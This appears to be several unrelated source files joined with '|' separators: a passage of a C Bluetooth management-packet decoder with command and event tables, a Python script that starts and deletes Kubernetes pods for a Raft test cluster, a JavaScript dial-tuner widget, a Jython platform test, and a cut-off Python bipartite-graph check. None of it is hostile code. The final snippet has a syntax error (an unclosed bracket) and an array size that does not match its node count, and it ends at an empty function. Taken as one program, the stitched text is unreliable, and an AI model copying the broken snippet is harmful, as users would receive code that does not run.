mgmt_load_connection_parameters_cmd, 2, false,
mgmt_null_rsp, 0, true },
{ 0x0036, "Read Unconfigured Controller Index List",
mgmt_null_cmd, 0, true,
mgmt_read_unconf_index_list_rsp, 2, false },
{ 0x0037, "Read Controller Configuration Information",
mgmt_null_cmd, 0, true,
mgmt_read_controller_conf_info_rsp, 10, true },
{ 0x0038, "Set External Configuration",
mgmt_set_external_configuration_cmd, 1, true,
mgmt_new_options_rsp, 4, true },
{ 0x0039, "Set Public Address",
mgmt_set_public_address_cmd, 6, true,
mgmt_new_options_rsp, 4, true },
{ 0x003a, "Start Service Discovery",
mgmt_start_service_discovery_cmd, 3, false,
mgmt_start_service_discovery_rsp, 1, true },
{ 0x003b, "Read Local Out Of Band Extended Data",
mgmt_read_local_oob_ext_data_cmd, 1, true,
mgmt_read_local_oob_ext_data_rsp, 3, false },
{ 0x003c, "Read Extended Controller Index List",
mgmt_null_cmd, 0, true,
mgmt_read_ext_index_list_rsp, 2, false },
{ 0x003d, "Read Advertising Features",
mgmt_null_cmd, 0, true,
mgmt_read_advertising_features_rsp, 8, false },
{ 0x003e, "Add Advertising",
mgmt_add_advertising_cmd, 11, false,
mgmt_add_advertising_rsp, 1, true },
{ 0x003f, "Remove Advertising",
mgmt_remove_advertising_cmd, 1, true,
mgmt_remove_advertising_rsp, 1, true },
{ 0x0040, "Get Advertising Size Information",
mgmt_get_advertising_size_info_cmd, 5, true,
mgmt_get_advertising_size_info_rsp, 7, true },
{ 0x0041, "Start Limited Discovery",
mgmt_start_limited_discovery_cmd, 1, true,
mgmt_start_limited_discovery_rsp, 1, true },
{ 0x0042, "Read Extended Controller Information",
mgmt_null_cmd, 0, true,
mgmt_read_ext_controller_info_rsp, 19, false },
{ 0x0043, "Set Appearance",
mgmt_set_apperance_cmd, 2, true,
mgmt_null_rsp, 0, true },
{ 0x0044, "Get PHY Configuration",
mgmt_null_cmd, 0, true,
mgmt_get_phy_rsp, 12, true },
{ 0x0045, "Set PHY Configuration",
mgmt_set_phy_cmd, 4, true,
mgmt_null_rsp, 0, true },
{ 0x0046, "Load Blocked Keys" },
{ 0x0047, "Set Wideband Speech" },
{ 0x0048, "Read Controller Capabilities" },
{ 0x0049, "Read Experimental Features Information",
mgmt_null_cmd, 0, true,
mgmt_read_exp_features_info_rsp, 2, false },
{ 0x004a, "Set Experimental Feature",
mgmt_set_exp_feature_cmd, 17, true,
mgmt_set_exp_feature_rsp, 20, true },
{ 0x004b, "Read Default System Configuration" },
{ 0x004c, "Set Default System Configuration" },
{ 0x004d, "Read Default Runtime Configuration" },
{ 0x004e, "Set Default Runtime Configuration" },
{ 0x004f, "Get Device Flags",
mgmt_get_device_flags_cmd, 7, true,
mgmt_get_device_flags_rsp, 15, true},
{ 0x0050, "Set Device Flags",
mgmt_set_device_flags_cmd, 11, true,
mgmt_set_device_flags_rsp, 7, true},
{ 0x0051, "Read Advertisement Monitor Features",
mgmt_null_cmd, 0, true,
mgmt_read_adv_monitor_features_rsp, 13, false},
{ 0x0052, "Add Advertisement Patterns Monitor",
mgmt_add_adv_monitor_patterns_cmd, 1, false,
mgmt_add_adv_monitor_patterns_rsp, 2, true},
{ 0x0053, "Remove Advertisement Monitor",
mgmt_remove_adv_monitor_patterns_cmd, 2, true,
mgmt_remove_adv_monitor_patterns_rsp, 2, true},
{ 0x0054, "Add Extended Advertising Parameters",
mgmt_add_ext_adv_params_cmd, 18, false,
mgmt_add_ext_adv_params_rsp, 4, true },
{ 0x0055, "Add Extended Advertising Data",
mgmt_add_ext_adv_data_cmd, 3, false,
mgmt_add_ext_adv_data_rsp, 1, true },
{ 0x0056, "Add Advertisement Patterns Monitor With RSSI Threshold",
mgmt_add_adv_monitor_patterns_rssi_cmd, 8,
false,
mgmt_add_adv_monitor_patterns_rsp, 2, true},
{ }
};
static void mgmt_null_evt(const void *data, uint16_t size)
{
}
static void mgmt_command_complete_evt(const void *data, uint16_t size)
{
uint16_t opcode;
uint8_t status;
const struct mgmt_data *mgmt_data = NULL;
const char *mgmt_color, *mgmt_str;
int i;
opcode = get_le16(data);
status = get_u8(data + 2);
data += 3;
size -= 3;
for (i = 0; mgmt_command_table[i].str; i++) {
if (mgmt_command_table[i].opcode == opcode) {
mgmt_data = &mgmt_command_table[i];
break;
}
}
if (mgmt_data) {
if (mgmt_data->rsp_func)
mgmt_color = COLOR_CTRL_COMMAND;
else
mgmt_color = COLOR_CTRL_COMMAND_UNKNOWN;
mgmt_str = mgmt_data->str;
} else {
mgmt_color = COLOR_CTRL_COMMAND_UNKNOWN;
mgmt_str = "Unknown";
}
print_indent(6, mgmt_color, "", mgmt_str, COLOR_OFF,
" (0x%4.4x) plen %u", opcode, size);
mgmt_print_status(status);
if (!mgmt_data || !mgmt_data->rsp_func) {
packet_hexdump(data, size);
return;
}
if (mgmt_data->rsp_fixed) {
if (size != mgmt_data->rsp_size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data, size);
return;
}
} else {
if (size < mgmt_data->rsp_size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data, size);
return;
}
}
mgmt_data->rsp_func(data, size);
}
static void mgmt_command_status_evt(const void *data, uint16_t size)
{
uint16_t opcode;
uint8_t status;
const struct mgmt_data *mgmt_data = NULL;
const char *mgmt_color, *mgmt_str;
int i;
opcode = get_le16(data);
status = get_u8(data + 2);
for (i = 0; mgmt_command_table[i].str; i++) {
if (mgmt_command_table[i].opcode == opcode) {
mgmt_data = &mgmt_command_table[i];
break;
}
}
if (mgmt_data) {
mgmt_color = COLOR_CTRL_COMMAND;
mgmt_str = mgmt_data->str;
} else {
mgmt_color = COLOR_CTRL_COMMAND_UNKNOWN;
mgmt_str = "Unknown";
}
print_indent(6, mgmt_color, "", mgmt_str, COLOR_OFF,
" (0x%4.4x)", opcode);
mgmt_print_status(status);
}
static void mgmt_controller_error_evt(const void *data, uint16_t size)
{
uint8_t error = get_u8(data);
print_field("Error: 0x%2.2x", error);
}
static void mgmt_new_settings_evt(const void *data, uint16_t size)
{
uint32_t settings = get_le32(data);
mgmt_print_settings("Current settings", settings);
}
static void mgmt_class_of_dev_changed_evt(const void *data, uint16_t size)
{
print_dev_class(data);
}
static void mgmt_local_name_changed_evt(const void *data, uint16_t size)
{
mgmt_print_name(data);
}
static void mgmt_new_link_key_evt(const void *data, uint16_t size)
{
uint8_t store_hint = get_u8(data);
mgmt_print_store_hint(store_hint);
mgmt_print_link_key(data + 1);
}
static void mgmt_new_long_term_key_evt(const void *data, uint16_t size)
{
uint8_t store_hint = get_u8(data);
mgmt_print_store_hint(store_hint);
mgmt_print_long_term_key(data + 1);
}
static void mgmt_device_connected_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint32_t flags = get_le32(data + 7);
uint16_t data_len = get_le16(data + 11);
mgmt_print_address(data, address_type);
mgmt_print_device_flags(flags);
print_field("Data length: %u", data_len);
print_eir(data + 13, size - 13, false);
}
static void mgmt_device_disconnected_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t reason = get_u8(data + 7);
const char *str;
mgmt_print_address(data, address_type);
switch (reason) {
case 0x00:
str = "Unspecified";
break;
case 0x01:
str = "Connection timeout";
break;
case 0x02:
str = "Connection terminated by local host";
break;
case 0x03:
str = "Connection terminated by remote host";
break;
case 0x04:
str = "Connection terminated due to authentication failure";
break;
case 0x05:
str = "Connection terminated by local host for suspend";
break;
default:
str = "Reserved";
break;
}
print_field("Reason: %s (0x%2.2x)", str, reason);
}
static void mgmt_connect_failed_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t status = get_u8(data + 7);
mgmt_print_address(data, address_type);
mgmt_print_status(status);
}
static void mgmt_pin_code_request_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t secure_pin = get_u8(data + 7);
mgmt_print_address(data, address_type);
print_field("Secure PIN: 0x%2.2x", secure_pin);
}
static void mgmt_user_confirmation_request_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t confirm_hint = get_u8(data + 7);
uint32_t value = get_le32(data + 8);
mgmt_print_address(data, address_type);
print_field("Confirm hint: 0x%2.2x", confirm_hint);
print_field("Value: 0x%8.8x", value);
}
static void mgmt_user_passkey_request_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_authentication_failed_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t status = get_u8(data + 7);
mgmt_print_address(data, address_type);
mgmt_print_status(status);
}
static void mgmt_device_found_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
int8_t rssi = get_s8(data + 7);
uint32_t flags = get_le32(data + 8);
uint16_t data_len = get_le16(data + 12);
mgmt_print_address(data, address_type);
print_rssi(rssi);
mgmt_print_device_flags(flags);
print_field("Data length: %u", data_len);
print_eir(data + 14, size - 14, false);
}
static void mgmt_discovering_evt(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
uint8_t enable = get_u8(data + 1);
mgmt_print_address_type(type);
print_enable("Discovery", enable);
}
static void mgmt_device_blocked_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_device_unblocked_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_device_unpaired_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_passkey_notify_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint32_t passkey = get_le32(data + 7);
uint8_t entered = get_u8(data + 11);
mgmt_print_address(data, address_type);
print_field("Passkey: 0x%8.8x", passkey);
print_field("Entered: %u", entered);
}
static void mgmt_new_identity_resolving_key_evt(const void *data, uint16_t size)
{
uint8_t store_hint = get_u8(data);
mgmt_print_store_hint(store_hint);
print_addr_resolve("Random address", data + 1, 0x01, false);
mgmt_print_identity_resolving_key(data + 7);
}
static void mgmt_new_signature_resolving_key_evt(const void *data, uint16_t size)
{
uint8_t store_hint = get_u8(data);
mgmt_print_store_hint(store_hint);
mgmt_print_signature_resolving_key(data + 1);
}
static void mgmt_device_added_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
uint8_t action = get_u8(data + 7);
mgmt_print_address(data, address_type);
mgmt_print_device_action(action);
}
static void mgmt_device_removed_evt(const void *data, uint16_t size)
{
uint8_t address_type = get_u8(data + 6);
mgmt_print_address(data, address_type);
}
static void mgmt_new_connection_parameter_evt(const void *data, uint16_t size)
{
uint8_t store_hint = get_u8(data);
mgmt_print_store_hint(store_hint);
mgmt_print_connection_parameter(data + 1);
}
static void mgmt_new_conf_options_evt(const void *data, uint16_t size)
{
uint32_t missing_options = get_le32(data);
mgmt_print_options("Missing options", missing_options);
}
static void mgmt_ext_index_added_evt(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
uint8_t bus = get_u8(data + 1);
print_field("type 0x%2.2x - bus 0x%2.2x", type, bus);
}
static void mgmt_ext_index_removed_evt(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
uint8_t bus = get_u8(data + 1);
print_field("type 0x%2.2x - bus 0x%2.2x", type, bus);
}
static void mgmt_local_oob_ext_data_updated_evt(const void *data, uint16_t size)
{
uint8_t type = get_u8(data);
uint16_t data_len = get_le16(data + 1);
mgmt_print_address_type(type);
print_field("Data length: %u", data_len);
print_eir(data + 3, size - 3, true);
}
static void mgmt_advertising_added_evt(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
print_field("Instance: %u", instance);
}
static void mgmt_advertising_removed_evt(const void *data, uint16_t size)
{
uint8_t instance = get_u8(data);
print_field("Instance: %u", instance);
}
static void mgmt_ext_controller_info_changed_evt(const void *data, uint16_t size)
{
uint16_t data_len = get_le16(data);
print_field("Data length: %u", data_len);
print_eir(data + 2, size - 2, false);
}
static void mgmt_phy_changed_evt(const void *data, uint16_t size)
{
uint32_t selected_phys = get_le32(data);
mgmt_print_phys("Selected PHYs", selected_phys);
}
static void mgmt_exp_feature_changed_evt(const void *data, uint16_t size)
{
mgmt_print_exp_feature(data);
}
static void mgmt_device_flags_changed_evt(const void *data, uint16_t size)
{
uint8_t type = get_u8(data + 6);
uint32_t supported_flags = get_le32(data + 7);
uint32_t current_flags = get_le32(data + 11);
mgmt_print_address(data, type);
mgmt_print_added_device_flags("Supported Flags", supported_flags);
mgmt_print_added_device_flags("Current Flags", current_flags);
}
static void mgmt_adv_monitor_added_evt(const void *data, uint16_t size)
{
uint16_t handle = get_le16(data);
print_field("Handle: %d", handle);
}
static void mgmt_adv_monitor_removed_evt(const void *data, uint16_t size)
{
uint16_t handle = get_le16(data);
print_field("Handle: %d", handle);
}
static void mgmt_controller_suspend_evt(const void *data, uint16_t size)
{
uint8_t state = get_u8(data);
char *str;
switch (state) {
case 0x0:
str = "Controller running (failed to suspend)";
break;
case 0x1:
str = "Disconnected and not scanning";
break;
case 0x2:
str = "Page scanning and/or passive scanning";
break;
default:
str = "Unknown suspend state";
break;
}
print_field("Suspend state: %s (%d)", str, state);
}
static void mgmt_controller_resume_evt(const void *data, uint16_t size)
{
uint8_t addr_type = get_u8(data + 6);
uint8_t wake_reason = get_u8(data + 7);
char *str;
switch (wake_reason) {
case 0x0:
str = "Resume from non-Bluetooth wake source";
break;
case 0x1:
str = "Wake due to unexpected event";
break;
case 0x2:
str = "Remote wake due to peer device connection";
break;
default:
str = "Unknown wake reason";
break;
}
print_field("Wake reason: %s (%d)", str, wake_reason);
mgmt_print_address(data, addr_type);
}
static const struct mgmt_data mgmt_event_table[] = {
{ 0x0001, "Command Complete",
mgmt_command_complete_evt, 3, false },
{ 0x0002, "Command Status",
mgmt_command_status_evt, 3, true },
{ 0x0003, "Controller Error",
mgmt_controller_error_evt, 1, true },
{ 0x0004, "Index Added",
mgmt_null_evt, 0, true },
{ 0x0005, "Index Removed",
mgmt_null_evt, 0, true },
{ 0x0006, "New Settings",
mgmt_new_settings_evt, 4, true },
{ 0x0007, "Class Of Device Changed",
mgmt_class_of_dev_changed_evt, 3, true },
{ 0x0008, "Local Name Changed",
mgmt_local_name_changed_evt, 260, true },
{ 0x0009, "New Link Key",
mgmt_new_link_key_evt, 26, true },
{ 0x000a, "New Long Term Key",
mgmt_new_long_term_key_evt, 37, true },
{ 0x000b, "Device Connected",
mgmt_device_connected_evt, 13, false },
{ 0x000c, "Device Disconnected",
mgmt_device_disconnected_evt, 8, true },
{ 0x000d, "Connect Failed",
mgmt_connect_failed_evt, 8, true },
{ 0x000e, "PIN Code Request",
mgmt_pin_code_request_evt, 8, true },
{ 0x000f, "User Confirmation Request",
mgmt_user_confirmation_request_evt, 12, true },
{ 0x0010, "User Passkey Request",
mgmt_user_passkey_request_evt, 7, true },
{ 0x0011, "Authentication Failed",
mgmt_authentication_failed_evt, 8, true },
{ 0x0012, "Device Found",
mgmt_device_found_evt, 14, false },
{ 0x0013, "Discovering",
mgmt_discovering_evt, 2, true },
{ 0x0014, "Device Blocked",
mgmt_device_blocked_evt, 7, true },
{ 0x0015, "Device Unblocked",
mgmt_device_unblocked_evt, 7, true },
{ 0x0016, "Device Unpaired",
mgmt_device_unpaired_evt, 7, true },
{ 0x0017, "Passkey Notify",
mgmt_passkey_notify_evt, 12, true },
{ 0x0018, "New Identity Resolving Key",
mgmt_new_identity_resolving_key_evt, 30, true },
{ 0x0019, "New Signature Resolving Key",
mgmt_new_signature_resolving_key_evt, 25, true },
{ 0x001a, "Device Added",
mgmt_device_added_evt, 8, true },
{ 0x001b, "Device Removed",
mgmt_device_removed_evt, 7, true },
{ 0x001c, "New Connection Parameter",
mgmt_new_connection_parameter_evt, 16, true },
{ 0x001d, "Unconfigured Index Added",
mgmt_null_evt, 0, true },
{ 0x001e, "Unconfigured Index Removed",
mgmt_null_evt, 0, true },
{ 0x001f, "New Configuration Options",
mgmt_new_conf_options_evt, 4, true },
{ 0x0020, "Extended Index Added",
mgmt_ext_index_added_evt, 2, true },
{ 0x0021, "Extended Index Removed",
mgmt_ext_index_removed_evt, 2, true },
{ 0x0022, "Local Out Of Band Extended Data Updated",
mgmt_local_oob_ext_data_updated_evt, 3, false },
{ 0x0023, "Advertising Added",
mgmt_advertising_added_evt, 1, true },
{ 0x0024, "Advertising Removed",
mgmt_advertising_removed_evt, 1, true },
{ 0x0025, "Extended Controller Information Changed",
mgmt_ext_controller_info_changed_evt, 2, false },
{ 0x0026, "PHY Configuration Changed",
mgmt_phy_changed_evt, 4, true },
{ 0x0027, "Experimental Feature Changed",
mgmt_exp_feature_changed_evt, 20, true },
{ 0x002a, "Device Flags Changed",
mgmt_device_flags_changed_evt, 15, true },
{ 0x002b, "Advertisement Monitor Added",
mgmt_adv_monitor_added_evt, 2, true },
{ 0x002c, "Advertisement Monitor Removed",
mgmt_adv_monitor_removed_evt, 2, true },
{ 0x002d, "Controller Suspended",
mgmt_controller_suspend_evt, 1, true },
{ 0x002e, "Controller Resumed",
mgmt_controller_resume_evt, 8, true },
{ }
};
static void mgmt_print_commands(const void *data, uint16_t num)
{
int i;
print_field("Commands: %u", num);
for (i = 0; i < num; i++) {
uint16_t opcode = get_le16(data + (i * 2));
const char *str = NULL;
int n;
for (n = 0; mgmt_command_table[n].str; n++) {
if (mgmt_command_table[n].opcode == opcode) {
str = mgmt_command_table[n].str;
break;
}
}
print_field(" %s (0x%4.4x)", str ?: "Reserved", opcode);
}
}
static void mgmt_print_events(const void *data, uint16_t num)
{
int i;
print_field("Events: %u", num);
for (i = 0; i < num; i++) {
uint16_t opcode = get_le16(data + (i * 2));
const char *str = NULL;
int n;
for (n = 0; mgmt_event_table[n].str; n++) {
if (mgmt_event_table[n].opcode == opcode) {
str = mgmt_event_table[n].str;
break;
}
}
print_field(" %s (0x%4.4x)", str ?: "Reserved", opcode);
}
}
void packet_ctrl_command(struct timeval *tv, struct ucred *cred, uint16_t index,
const void *data, uint16_t size)
{
uint32_t cookie;
uint16_t format, opcode;
const struct mgmt_data *mgmt_data = NULL;
const char *mgmt_color, *mgmt_str;
char channel[11], extra_str[25];
int i;
if (size < 4) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed Control Command packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
cookie = get_le32(data);
data += 4;
size -= 4;
sprintf(channel, "0x%4.4x", cookie);
format = get_format(cookie);
if (format != CTRL_MGMT) {
char label[7];
sprintf(label, "0x%4.4x", format);
print_packet(tv, cred, '@', index, channel, COLOR_CTRL_CLOSE,
"Control Command", label, NULL);
packet_hexdump(data, size);
return;
}
if (size < 2) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed MGMT Command packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
opcode = get_le16(data);
data += 2;
size -= 2;
for (i = 0; mgmt_command_table[i].str; i++) {
if (mgmt_command_table[i].opcode == opcode) {
mgmt_data = &mgmt_command_table[i];
break;
}
}
if (mgmt_data) {
if (mgmt_data->func)
mgmt_color = COLOR_CTRL_COMMAND;
else
mgmt_color = COLOR_CTRL_COMMAND_UNKNOWN;
mgmt_str = mgmt_data->str;
} else {
mgmt_color = COLOR_CTRL_COMMAND_UNKNOWN;
mgmt_str = "Unknown";
}
sprintf(extra_str, "(0x%4.4x) plen %d", opcode, size);
print_packet(tv, cred, '@', index, channel, mgmt_color,
"MGMT Command", mgmt_str, extra_str);
if (!mgmt_data || !mgmt_data->func) {
packet_hexdump(data, size);
return;
}
if (mgmt_data->fixed) {
if (size != mgmt_data->size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data, size);
return;
}
} else {
if (size < mgmt_data->size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data, size);
return;
}
}
mgmt_data->func(data, size);
}
void packet_ctrl_event(struct timeval *tv, struct ucred *cred, uint16_t index,
const void *data, uint16_t size)
{
uint32_t cookie;
uint16_t format, opcode;
const struct mgmt_data *mgmt_data = NULL;
const char *mgmt_color, *mgmt_str;
char channel[11], extra_str[25];
int i;
if (size < 4) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed Control Event packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
cookie = get_le32(data);
data += 4;
size -= 4;
sprintf(channel, "0x%4.4x", cookie);
format = get_format(cookie);
if (format != CTRL_MGMT) {
char label[7];
sprintf(label, "0x%4.4x", format);
print_packet(tv, cred, '@', index, channel, COLOR_CTRL_CLOSE,
"Control Event", label, NULL);
packet_hexdump(data, size);
return;
}
if (size < 2) {
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Malformed MGMT Event packet", NULL, NULL);
packet_hexdump(data, size);
return;
}
opcode = get_le16(data);
data += 2;
size -= 2;
for (i = 0; mgmt_event_table[i].str; i++) {
if (mgmt_event_table[i].opcode == opcode) {
mgmt_data = &mgmt_event_table[i];
break;
}
}
if (mgmt_data) {
if (mgmt_data->func)
mgmt_color = COLOR_CTRL_EVENT;
else
mgmt_color = COLOR_CTRL_EVENT_UNKNOWN;
mgmt_str = mgmt_data->str;
} else {
mgmt_color = COLOR_CTRL_EVENT_UNKNOWN;
mgmt_str = "Unknown";
}
sprintf(extra_str, "(0x%4.4x) plen %d", opcode, size);
print_packet(tv, cred, '@', index, channel, mgmt_color,
"MGMT Event", mgmt_str, extra_str);
if (!mgmt_data || !mgmt_data->func) {
packet_hexdump(data, size);
return;
}
if (mgmt_data->fixed) {
if (size != mgmt_data->size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data, size);
return;
}
} else {
if (size < mgmt_data->size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data, size);
return;
}
}
mgmt_data->func(data, size);
}
void packet_todo(void)
{
int i;
printf("HCI commands with missing decodings:\n");
for (i = 0; opcode_table[i].str; i++) {
if (opcode_table[i].bit < 0)
continue;
if (opcode_table[i].cmd_func)
continue;
printf("\t%s\n", opcode_table[i].str);
}
printf("HCI events with missing decodings:\n");
for (i = 0; event_table[i].str; i++) {
if (event_table[i].func)
continue;
printf("\t%s\n", event_table[i].str);
}
for (i = 0; le_meta_event_table[i].str; i++) {
if (le_meta_event_table[i].func)
continue;
printf("\t%s\n", le_meta_event_table[i].str);
}
}
|
#!/usr/bin/env python3
from kubernetes import client, config
import argparse
import copy
import os
import subprocess
import sys
import yaml
def find_pods(v1):
"""Find pods started by us or at least running node-container"""
ret = v1.list_pod_for_all_namespaces(watch=False)
def pod_filter(p):
return p.metadata.namespace == "default" and \
len(p.spec.containers) == 1 and \
p.spec.containers[0].image == 'local/node-container'
pods_we_own = filter(pod_filter, ret.items)
return pods_we_own
def shutdown_pod(v1, name, namespace):
"""Shutdown a single pod"""
response = v1.delete_namespaced_pod(name, \
namespace,\
client.V1DeleteOptions(),
grace_period_seconds=0,
propagation_policy='Foreground')
response = v1.delete_namespaced_service(name, \
namespace,\
client.V1DeleteOptions(),
grace_period_seconds=0,
propagation_policy='Foreground')
def shutdown_pods(v1, pods):
"""Shutdown the given set of pods"""
for i in pods:
try:
shutdown_pod(v1, i.metadata.name, i.metadata.namespace)
except Exception as e:
print("Error in killing %s %s"%(i, e), file=sys.stderr)
def get_service(v1, service):
"""Get service spec for service"""
return v1.list_service_for_all_namespaces(watch=False, field_selector="metadata.name=%s"%service)
def boot_pod(v1, pod_spec, service_spec, name, peers):
"""Boot a single pod"""
pod_spec = copy.deepcopy(pod_spec)
# Create a pod spec for this pod.
pod_spec['metadata']['name'] = name
pod_spec['metadata']['labels']['app'] = name
pod_spec['spec']['containers'][0]['ports'][0]['name']="%s-client"%name
pod_spec['spec']['containers'][0]['ports'][1]['name']="%s-raft"%name
peers = filter(lambda p: p != name, peers)
args = ['server']
for peer in peers:
args.append('-peer')
args.append('%s:3001'%peer)
pod_spec['spec']['containers'][0]['command'] = args
service_spec = copy.deepcopy(service_spec)
# Create a service spec for this service
service_spec['metadata']['name'] = name
service_spec['spec']['selector']['app'] = name
service_spec['spec']['ports'][0]['targetPort'] = "%s-client"%name
service_spec['spec']['ports'][1]['targetPort'] = "%s-raft"%name
try:
response = v1.create_namespaced_pod('default', pod_spec)
response = v1.create_namespaced_service('default', service_spec)
except:
print("Could not launch pod or service")
raise
def init():
"""Initialize and get client"""
config.load_kube_config()
v1 = client.CoreV1Api()
return v1
def shutdown(args):
"""Shutdown pods run by us. This might take a while after returning"""
v1 = init()
pods = find_pods(v1)
shutdown_pods(v1, pods)
def show(args):
"""Show pods launched by us"""
v1 = init()
pods = find_pods(v1)
for pod in pods:
print("%s"%pod.metadata.name)
def boot(args):
"""Launch a set of pods"""
v1 = init()
with open(os.path.join(sys.path[0], 'pod-template.yml')) as f:
specs = list(yaml.load_all(f))
pod_spec = specs[0]
service_spec = specs[1]
num_services = args.peers
peers = ['peer%d'%i for i in range(num_services)]
for peer in peers:
boot_pod(v1, pod_spec, service_spec, peer, peers)
def kill(args):
"""Kill selected peer"""
v1 = init()
pods = find_pods(v1)
peer = 'peer%d'%args.peer
pod = list(filter(lambda i: i.metadata.name == peer, pods))
if len(pod) != 1:
sys.exit(1)
shutdown_pod(v1, pod[0].metadata.name, pod[0].metadata.namespace)
def launch(args):
"""Launch an individual peer"""
v1 = init()
pods = find_pods(v1)
peers = list(map(lambda i: i.metadata.name, pods))
pod = "peer%d"%args.peer
if pod in peers:
print("%d is already running"%args.peer, out=sys.stderr)
sys.exit(1)
with open(os.path.join(sys.path[0], 'pod-template.yml')) as f:
specs = list(yaml.load_all(f))
pod_spec = specs[0]
service_spec = specs[1]
boot_pod(v1, pod_spec, service_spec, pod, peers)
def get_service_url(args):
"""Get service URL for peer"""
v1 = init()
ip = subprocess.run('minikube ip', check=True, stdout=subprocess.PIPE, shell=True).stdout\
.decode('utf-8').strip()
svcs = get_service(v1, "peer%d"%args.peer)
if len(svcs.items) != 1:
print("Could not find service", file=sys.stderr)
sys.exit(1)
svc = svcs.items[0]
ports = svc.spec.ports
with open(os.path.join(sys.path[0], 'pod-template.yml')) as f:
specs = list(yaml.load_all(f))
service_spec = specs[1]
for port in ports:
if port.port == service_spec['spec']['ports'][0]['port']:
print('%s:%d'%(ip, port.node_port))
sys.exit(0)
sys.exit(1)
def main():
parser = argparse.ArgumentParser(prog=sys.argv[0])
subparsers = parser.add_subparsers(help="sub-command help", dest='command')
subparsers.required = True
shutdown_parser = subparsers.add_parser("shutdown")
shutdown_parser.set_defaults(func=shutdown)
list_parser = subparsers.add_parser("list")
list_parser.set_defaults(func = show)
run_parser = subparsers.add_parser("boot")
run_parser.add_argument('peers', type=int, default=3, help='How many peers?')
run_parser.set_defaults(func = boot)
kill_parser = subparsers.add_parser("kill")
kill_parser.add_argument('peer', type=int, help='Which peer should die')
kill_parser.set_defaults(func=kill)
kill_parser = subparsers.add_parser("launch")
kill_parser.add_argument('peer', type=int, help='Which peer should be launched')
kill_parser.set_defaults(func=launch)
svc_parser = subparsers.add_parser("client-url")
svc_parser.add_argument('peer', type=int, help="Which peer do you need URL for")
svc_parser.set_defaults(func=get_service_url)
args = parser.parse_args()
args.func(args)
if __name__ == "__main__":
main()
sys.exit(0)
|
(function(scope) {
var RS = window.RS;
var RapidSynapseDial = scope.RapidSynapseDial;
var Tuner = function(el, options) {
this.init.apply(this, arguments);
};
Tuner.prototype.init = function(el, options) {
this.options = options;
this.min = options.min || 0;
this.max = options.max || 100;
this.macroRatio = options.macroRatio || 1;
this.microRatio = options.microRatio || 1;
this.upgradeElement(el);
this.wireEvents();
this.setValue(options.value);
};
Tuner.prototype.upgradeElement = function(el) {
el.classList.add('rapidsynapse-tunner');
// NOTE: Slower than concat but more readable. Worth it in this case.
el.innerHTML = [
'<h2>macro control</h2>',
'<div class="rapidsynapse-tuner-macro"></div>',
'',
'<h2>micro control</h2>',
'<div class="rapidsynapse-tuner-micro"></div>',
'',
'<h2>value</h2>',
'<input></input>'
].join('\n');
// referece dials
var macroEl = el.querySelector('.rapidsynapse-tuner-macro');
var microEl = el.querySelector('.rapidsynapse-tuner-micro');
// upgrade dials
var macroOptions = RS.merge(this.options, {ratio: this.macroRatio});
var microOptions = RS.merge(this.options, {ratio: this.microRatio});
this.macro = new RapidSynapseDial(macroEl, macroOptions);
this.micro = new RapidSynapseDial(microEl, microOptions);
// reference input
this.input = el.querySelector('input');
};
Tuner.prototype.wireEvents = function() {
this.macro.addEventListener('valueChanged', function(e) {
this.setValue(e.detail);
}.bind(this));
this.micro.addEventListener('valueChanged', function(e) {
this.setValue(e.detail);
}.bind(this));
this.input.addEventListener('blur', function(e) {
this.enableTransitions();
this.setValue(e.target.value);
setTimeout(this.disableTransitions.bind(this), 2000);
}.bind(this));
};
Tuner.prototype.setValue = function(v) {
v = RS.bound(v, this.min, this.max, 2);
var dirty = this.value !== v;
if (dirty) {
this.value = v;
this.micro.setValue(v);
this.macro.setValue(v);
this.input.value = v;
}
};
// Transition Style Management
Tuner.prototype.enableTransitions = function() {
this.macro.el.style.transitionDuration = '2s';
this.micro.el.style.transitionDuration = '2s';
};
Tuner.prototype.disableTransitions = function() {
this.macro.el.style.transitionDuration = '';
this.micro.el.style.transitionDuration = '';
};
scope.RapidSynapseTuner = Tuner;
})(window);
|
"""
Check sys.platform name
"""
import support
import sys
n = sys.platform
if n[:4] != "java":
raise support.TestError("sys.platform name check failed: " + `n`)
|
# -*- utf-8 -*-
# Проверка графа на двудольность (использование DFS)
import sys
sys.stdin = open("bipartite.in")
N,m = map(int, input().split())
G = [[] for i in range(N+1)
c = [-1] * N # -1 - No color, 1 - first group, 2 - second
def dfs(v, color):
